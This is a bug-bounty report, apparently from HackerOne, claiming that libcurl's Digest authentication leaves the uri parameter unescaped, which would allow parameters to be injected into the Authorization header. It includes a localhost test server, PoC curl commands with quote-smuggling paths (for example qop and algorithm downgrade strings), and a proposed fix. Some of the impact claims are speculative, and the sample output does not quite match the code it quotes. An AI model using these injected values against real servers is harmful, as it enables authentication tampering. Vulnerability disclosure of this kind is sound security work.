HACKERONE

curl: Digest Authentication Header Injection_H1:3508799

Description

## Summary
The Digest authentication implementation in `libcurl` fails to properly escape the `uri` parameter in the `Authorization` header. While other parameters like `username`, `realm`, and `nonce` are correctly escaped using `auth_digest_string_quoted()`, the `uri` is inserted raw into the header. This allows an attacker who can control the request URI to inject additional parameters into the HTTP `Authorization` header, potentially bypassing security controls or causing protocol confusion.

## Affected Component
- **File:** `lib/vauth/digest.c`
- **Function:** `auth_create_digest_http_message`
- **Lines:** 867-897

## Vulnerability Details

### Root Cause
In `lib/vauth/digest.c`, the Digest authentication response is constructed using `curl_maprintf`. The function properly escapes most parameters but fails to escape the `uri` parameter:

```c
/* lib/vauth/digest.c:867-882 */
if(digest->qop) {
response = curl_maprintf("username=\"%s\", "
"realm=\"%s\", "
"nonce=\"%s\", "
"uri=\"%s\", " // <- VULNERABLE: uri not escaped
"cnonce=\"%s\", "
"nc=%08x, "
"qop=%s, "
"response=\"%s\"",
userp_quoted, // <- username IS escaped
realm_quoted, // <- realm IS escaped
nonce_quoted, // <- nonce IS escaped
uripath, // <- uri NOT escaped
digest->cnonce,
digest->nc,
digest->qop,
request_digest);
}
```

Compare this to how `username` is handled:

```c
/* lib/vauth/digest.c:835-843 */
userp_quoted = auth_digest_string_quoted(userp);
if(!userp_quoted)
return CURLE_OUT_OF_MEMORY;
```

The `auth_digest_string_quoted()` function (lines 151-180) properly escapes double quotes and backslashes:

```c
static char *auth_digest_string_quoted(const char *source)
{
char *dest;
const char *s = source;
size_t n = 1; /* null-terminator */

/* Calculate size needed */
while(*s) {
++n;
if(*s == '"' || *s == '\\') {
++n; // Need extra byte for escape character
}
++s;
}

dest = curlx_malloc(n);
if(dest) {
char *d = dest;
s = source;
while(*s) {
if(*s == '"' || *s == '\\') {
*d++ = '\\'; // Add escape character
}
*d++ = *s++;
}
*d = '\0';
}

return dest;
}
```

### Attack Mechanism
If an attacker can control the URI path to include a double quote character, they can:
1. Terminate the `uri` field early
2. Inject arbitrary parameters into the Digest header
3. Potentially override security-critical parameters like `qop` or `algorithm`

## Proof of Concept

### Prerequisites
- curl with Digest authentication support
- Python 3.x for the test server

### Step 1: Create the Test Server

Save this as `digest_server.py`:

```python

import socket
import threading
import time

def start_server(port=8081):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind(('127.0.0.1', port))
s.listen(1)
print(f"[*] Digest test server listening on port {port}")

while True:
try:
conn, addr = s.accept()
data = conn.recv(4096).decode('utf-8', errors='replace')

if "Authorization: Digest" not in data:
# Send 401 challenge
response = (
"HTTP/1.1 401 Unauthorized\r\n"
"WWW-Authenticate: Digest realm=\"test\", "
"nonce=\"dcd98b7102dd2f0e8b11d0f600bfb0c093\", "
"qop=\"auth\"\r\n"
"Content-Length: 0\r\n"
"\r\n"
)
conn.sendall(response.encode())
print("[*] Sent 401 challenge")
else:
# Extract and display Authorization header
print("\n=== RECEIVED REQUEST ===")
for line in data.split('\r\n'):
if line.startswith('Authorization:'):
print(f"\n{line}\n")

# Highlight the injection
if 'injected=' in line:
print("[!] INJECTION DETECTED!")
print("[!] The 'injected' parameter should NOT be in the header")

# Send 200 OK
response = "HTTP/1.1 200 OK\r\nContent-Length: 2\r\n\r\nOK"
conn.sendall(response.encode())

conn.close()
except Exception as e:
print(f"[-] Error: {e}")

if __name__ == "__main__":
start_server()
```

### Step 2: Start the Server

```bash
python digest_server.py
```

### Step 3: Execute the Attack

In another terminal, run curl with a malicious path containing a double quote:

```bash
curl -v --path-as-is --digest 'http://user:[email protected]:8081/index.html",injected="true'
```

**Important:** The `--path-as-is` flag is required to prevent curl from normalizing the path.

### Step 4: Observe the Result

The server will display output similar to:

```
[*] Sent 401 challenge

=== RECEIVED REQUEST ===

Authorization: Digest username="user",realm="test",nonce="dcd98b7102dd2f0e8b11d0f600bfb0c093",uri="/index.html",injected="true",cnonce="NjE3ZjJkMzQwYzQyMQ==",nc=00000001,response="6629fae49393a05397450978507c4ef1",qop="auth"

[!] INJECTION DETECTED!
[!] The 'injected' parameter should NOT be in the header
```

### Analysis of the Injected Header

The malicious path `/index.html",injected="true` causes the following header structure:

```
uri="/index.html",injected="true"
```

Instead of the expected:

```
uri="/index.html\",injected=\"true"
```

This demonstrates that:
1. The double quote in the path terminates the `uri` field
2. The attacker-controlled string `injected="true"` is inserted as a new parameter
3. The Digest authentication header is now malformed with an injected parameter

### Alternative PoC (Python Script)

```python
import subprocess

# Malicious URL with quote injection
url = 'http://user:[email protected]:8081/index.html",injected="true'

# Execute curl
cmd = ['curl', '-v', '--path-as-is', '--digest', url]
result = subprocess.run(cmd, capture_output=True, text=True)

print("=== STDERR (includes headers) ===")
print(result.stderr)

# Look for the injection
if 'injected="true"' in result.stderr:
print("\n[!] VULNERABILITY CONFIRMED")
print("[!] The injected parameter appears in the Authorization header")
else:
print("\n[*] Injection not detected in output")
```

## Impact

## Impact

### Security Implications

1. **Authentication Parameter Manipulation**
- Attacker can inject `qop="none"` to downgrade authentication
- Inject `algorithm="MD5"` to force weaker algorithms
- Add custom parameters that might confuse proxies or servers

2. **Protocol Confusion**
- Malformed headers may cause different parsing by intermediaries
- Could lead to request smuggling in certain proxy configurations

3. **Cache Poisoning**
- Injected parameters might affect cache keys
- Could lead to serving wrong content to users

4. **Logging and Monitoring Bypass**
- Security tools parsing the header may be confused
- Injected parameters might not be logged correctly

### Attack Scenarios

**Scenario 1: QoP Downgrade**
```bash
curl --digest 'http://user:[email protected]/path",qop="none'
```
Result: `uri="/path",qop="none",cnonce=...` - potentially downgrades authentication

**Scenario 2: Algorithm Manipulation**
```bash
curl --digest 'http://user:[email protected]/path",algorithm="MD5'
```
Result: Forces MD5 algorithm even if server supports stronger options

## Recommendation

### Fix
Update `lib/vauth/digest.c` to escape the `uri` parameter using `auth_digest_string_quoted()`:

```c
/* lib/vauth/digest.c - FIXED VERSION */

// Add this before constructing the response
char *uri_quoted = auth_digest_string_quoted(uripath);
if(!uri_quoted) {
curlx_free(nonce_quoted);
curlx_free(realm_quoted);
curlx_free(userp_quoted);
return CURLE_OUT_OF_MEMORY;
}

if(digest->qop) {
response = curl_maprintf("username=\"%s\", "
"realm=\"%s\", "
"nonce=\"%s\", "
"uri=\"%s\", " // Now using escaped version
"cnonce=\"%s\", "
"nc=%08x, "
"qop=%s, "
"response=\"%s\"",
userp_quoted,
realm_quoted,
nonce_quoted,
uri_quoted, // <- FIXED: using escaped uri
digest->cnonce,
digest->nc,
digest->qop,
request_digest);
}

// Don't forget to free
curlx_free(uri_quoted);
```

### Verification
After applying the fix, the PoC should result in a properly escaped header:

```
uri="/index.html\",injected=\"true"
```

The double quotes will be escaped and the injection will fail.
Visit Original Source

Basic Information

ID H1:3508799
Published Jan 13, 2026 at 13:30
Modified Jan 14, 2026 at 10:02

💭 Join the Security Discussion

🔒 Your email address will not be published. Required fields are marked *

⚠️ Please be respectful and constructive in your comments. Security discussions should remain professional.